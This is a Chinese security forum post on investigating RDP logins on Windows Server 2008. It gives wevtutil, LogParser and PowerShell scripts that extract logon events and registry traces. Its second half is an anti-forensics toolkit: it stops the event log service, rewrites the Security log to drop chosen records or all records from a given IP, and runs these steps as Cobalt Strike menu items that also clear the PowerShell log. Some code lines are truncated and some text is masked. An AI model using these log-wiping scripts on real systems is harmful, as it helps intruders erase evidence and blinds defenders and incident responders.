# RDP登录日志取证与清除

天炬 / 2019-09-25 09:21:29 / 浏览数 690 安全技术 技术讨论 顶(0) 踩(0)

本文以**server08**为例，示例脚本以**powershell**为主

适用人群：运维、安全

RDP登录方式

- 暴破登录：■■■■■■&■■■■
- 管理员登录：账户密码、凭据
- console模式登录

使用工具：

- wevtutil
- LogParser
- powershell
- regedit

## 一：取证

取证关键点：

- ■■ip
- ■■ip■■
- ■■■■
- ■■■■■■■■
- ■■■■■■■
- ■■■■■■■
- ■■■■■■■■■ip
- ■■■■■■■■

### 1.1 登录成功

EventID=4624，从安全日志中获取登录成功的客户端■■ip、■■■■■、■■■■等信息

#### 1.1.1 Security 线上分析

- LogParser

```
LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8, '|') as LogonType,
EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP, EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv FROM
Security WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
```

- wevtutil

```
wevtutil qe Security /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4624)] and
EventData[(Data[@Name='LogonType']='10')]]"
```

- wevtutil + powershell

```
wevtutil epl Security ./Sec.evtx
```

```
function WinSuccEvent
{
   [CmdletBinding()]
   Param (
       [string]$csv,
       [string]$evtx = $pwd.Path+"\Sec.evtx"
   )

   $time=Get-Date -Format h:mm:ss
   $evtx=(Get-Item $evtx).fullname
   $outfile=(Get-Item $evtx).BaseName+".csv"
   $logsize=[int]((Get-Item $evtx).length/1MB)
```

```
    write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
    [xml]$xmldoc=WEVTUtil qe  $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing']  and (EventID=4624)] and

    $xmlEvent=$xmldoc.root.Event

    function OneEventToDict {
        Param (
            $event
        )
        $ret = @{
            "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss
            "EventRecordID" = $event.System.EventRecordID
            "EventID" = $event.System.EventID
        }
        $data=$event.EventData.Data
        for ($i=0; $i -lt $data.Count; $i++){
            $ret.Add($data[$i].name, $data[$i].'#text')
        }
        return $ret
    }

    filter Convert-DateTimeFormat
    {
      Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
      try {
        ([DateTime]$_).ToString($OutputFormat)
      } catch {}
    }

    $time=Get-Date -Format h:mm:ss
    write-host [+] $time Extract XML ... -ForegroundColor Green
    [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
    for ($i=0; $i -lt $xmlEvent.Count; $i++){
        $event = $xmlEvent[$i]
        $datas = OneEventToDict $event
        $results.Add((New-Object PSObject -Property $datas))|out-null
    }

    $time=Get-Date -Format h:mm:ss
    $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventRecordID
    if($csv){
        write-host [+] $time Dump into CSV: $outfile ... -ForegroundColor Green
        $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventID,LogonType,EventRecordID |
    }
}
```

### 1.1.2 Security 离线分析

导出安全日志为：Security.evtx

- LogParser

```
LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8, '|') as LogonType,
EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP ,EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv FROM
Security.evtx WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC"
-o:CSV
```

- wevtutil

```
wevtutil qe ./Security.evtx /q:"*[System[(EventRecordID=1024)]]" /e:root /f:xml
```

### 1.1.3 **TerminalServices/Operational**

- RemoteConnectionManager - EventID=1149

```
wevtutil qe Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational
"/q:*[TerminalServices-LocalSessionManager[(EventID=1149)]]" /f:text /rd:true /c:1
```

过滤id■1149且仅显示存在Param2数据

```
wevtutil epl Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational ./TerminalServices.evtx

function TerminalServices {

    [CmdletBinding()]
    Param (
        [string]$csv,
        [string]$evtx = $pwd.Path+"./TerminalServices.evtx"
    )

    $time=Get-Date -Format h:mm:ss
    $evtx=(Get-Item $evtx).fullname
    $outfile=(Get-Item $evtx).BaseName+".csv"

    $logsize=[int]((Get-Item $evtx).length/1MB)

    write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
    [xml]$xmldoc=WEVTUtil qe $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-TerminalServices-RemoteConnectionManager'] an

    $xmlEvent=$xmldoc.root.Event

    write-host $xmlEvent.Count

    function OneEventToDict {
        Param (
            $event
        )
        Try {
            $CheckLoginStatus = $event.UserData.EventXML.Param2
            if ($CheckLoginStatus) {
                $ret = @{
                    "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd
                    "EventRecordID" = $event.System.EventRecordID
                    "EventID" = $event.System.EventID
                    "Param1" = $event.UserData.EventXML.Param1
                    "Param2" = $event.UserData.EventXML.Param2
                    "Param3" = $event.UserData.EventXML.Param3
                }
            }
        }
        Catch {
            continue
        }
        return $ret
    }

    filter Convert-DateTimeFormat
    {
      Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
      try {
        ([DateTime]$_).ToString($OutputFormat)
      } catch {}
    }

    $time=Get-Date -Format h:mm:ss
    write-host [+] $time Extract XML ... -ForegroundColor Green
    [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
    for ($i=0; $i -lt $xmlEvent.Count; $i++){
        $event = $xmlEvent[$i]
        $datas = OneEventToDict $event
        try {
            $results.Add((New-Object PSObject -Property $datas))|out-null
        }
        catch {
            continue
        }
    }

    $time=Get-Date -Format h:mm:ss
```

```
   $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID
   if($csv){
       write-host [+] $time Dump into CSV: $outfile ... #-ForegroundColor Green
       $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCul
   }

}
```

同理：

- LocalSessionManager - EventID:24/25

wevtutil epl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational ./LocalSessionManager.evtx

- ClientActiveXCore - EventID:1024

wevtutil epl Microsoft-Windows-TerminalServices-RDPClient/Operational ./ClientActiveXCore.evtx

### 1.2 登录失败

EventID=4625，分析语句同理登录成功

### 1.3 客户端主机名

注册表HKEY_USERS\SID\Volatile Environment\X.CLIENTNAME

powershell实现代码如下：

```
function ClientHostName {
   $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
   foreach($Name in $UserSID) {
       $RegPath = "Registry::HKEY_USERS\"+$Name+"\Volatile Environment\"
       Try {
           $Servers = dir $RegPath -Name -ErrorAction Stop
           foreach ($Server in $Servers) {
               $ClientHostName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CLIENTNAME
               Write-Host "[+] RegPath: "$RegPath$Server
               Write-Host "[+] ClientHostName: "$ClientHostName
           }
       }
       Catch {
           continue
       }
   }
}
```

### 1.4 远程server

注册表HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers\*

其中，保存凭据的单独显示

powershell实现代码如下：

```
function RdpServer {
   $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
   foreach($Name in $UserSID) {
       $RegPath = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Servers\"
       Try {
           $Servers = dir $RegPath -Name -ErrorAction Stop
           foreach ($Server in $Servers) {
               $UserName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).UsernameHint
               Write-Host "[+] Server: "$Server" UserName: "$UserName
               $CertHash = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CertHash
               if($CertHash) {
                   Write-Host "[+] Server: "$Server" UserName: "$UserName" CertHash: "$CertHash
               }
           }
       }
       Catch {
           continue
       }
       $RegPathDefault = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Default\"
       Try {
           $RegPathValues = Get-Item -Path $RegPathDefault -ErrorAction Stop
           foreach ($RegPathValue in $RegPathValues.Property ){
               write-host "[+] Server:port > "$RegPathValues.GetValue($RegPathValue)
           }
       }
       Catch {
           continue
       }
   }
}
```

### 1.5 日志量最大限制

注册表`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security`

```
function ChangeSecurityMaxSize {
   $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"
   $SecurityRegValue = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
   write-host "Old Size: "+$SecurityRegValue
   Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'MaxSize' -
   $SecurityRegValueCheck = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
   write-host "New Size: "+$SecurityRegValueCheck+'(200M)'
}
```

### 1.6 RDP开放端口

查询注册表

```
$RegPath = "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
   $RDPportValue = (Get-ItemProperty -Path $RegPath -ErrorAction Stop).PortNumber
   write-host $RDPportValue
```

### 1.7 挂载驱动器监控

参考github：DarkGuardian

## 二：清除

以下两种方式根据修改注册表实现

以powershell为例：

需要修改注册表

```
Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File'
-value C:\Windows\System32\winevt\Logs\Security_new.evtx
```

及

```
tasklist /svc | findstr "eventlog"
taskkill /F /PID 279
net start eventlog
```

### 2.1 **EventRecordID**单条删除

单条日志清除

```
wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[System[(EventRecordID!=6810)]]" /ow:true
```

### 2.2 **IpAddress**批量删除

源ip清除

```
wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx
/q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true
```

### 2.3 **powershell**示例

```
[CmdletBinding()]
   Param (
       [string]$flagvalue,
       [string]$evtx = $pwd.Path
   )

   $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"

   $SecurityFileRegValueFileName = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).File

   $SecurityFileRegValueNew = $SecurityFileRegValueFileName.Replace("Security","Security_bak")

   $SecurityFileRegValueNewFlag = $SecurityFileRegValueFileName.Replace("Security","NewSecFlag")

   write-host $SecurityFileRegValueFileName

   # clear
   Try{
       wevtutil epl Security $SecurityFileRegValueNew /q:"*[System[(EventRecordID!="$flagvalue")]]" /ow:true
   }
   Catch {}

   Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -val


   $EventlogSvchost = tasklist /svc | findstr "eventlog"

   $EventlogMatch = $EventlogSvchost -match "(\d+)"

   $EventlogSvchostPID = $Matches[0]

   # Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

   write-host $EventlogSvchostPID

   taskkill /F /PID $EventlogSvchostPID

   Try{
       Remove-Item $SecurityFileRegValueFileName -recurse
   }
   Catch {}
   Try{
       Remove-Item $SecurityFileRegValueNewFlag -recurse
   }
   Catch {}

   ren $SecurityFileRegValueNew $SecurityFileRegValueFileName

   Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -val

   net start eventlog
```

同理批量删除如下：

```
# clear
   Try {
       wevtutil epl Security $SecurityFileRegValueNew /q:"*[EventData[(Data[@Name='IpAddress']!='')]]" /ow:true
   }
   Catch {}
```

## 三：脚本化

结合Cobalt Strike可实现自动化，具体可参考cna脚本编写

### 3.1 取证示例

```
item "RdpSuccessEvent" {
         local('$bid');
         foreach $bid ($1){
             blog($1, "Get RDP Success Event (4624).");
             bpowershell($bid,"wevtutil epl Security ./Sec.evtx");
             bpowershell_import($bid, script_resource("./powershell/WinSuccEvent.ps1"));
             bpowerpick($bid,"WinSuccEvent");
             #bpowershell($bid,"WinSuccEvent");
             brm($1,"Sec.evtx");
             bpowershell($bid,"wevtutil cl \"Windows PowerShell\"");
         }
    }
```

3.2 清除示例

```
item "IDEventClear" {
         prompt_text("Input Clear EventRecordID","1024",lambda({
             blog(@ids,"Delete Security Event where EventRecordID = $1");
             bpowershell_import(@ids, script_resource("./powershell/IDEventClear.ps1"));
             bpowerpick(@ids,"IDEventClear $1");
             bpowershell(@ids,"wevtutil cl \"Windows PowerShell\"");
         },@ids => $1));
    }
```

## 参考

- lostwolf
- https://3gstudent.github.io/
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil
- https://mp.weixin.qq.com/s/ige5UO8WTuOOO3yRw-LeqQ

点击收藏 | 1 关注 | 1

上一篇：Websphere ND远程命令执... 下一篇：meterpreter学习笔记

1. 0 条回复
   - 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录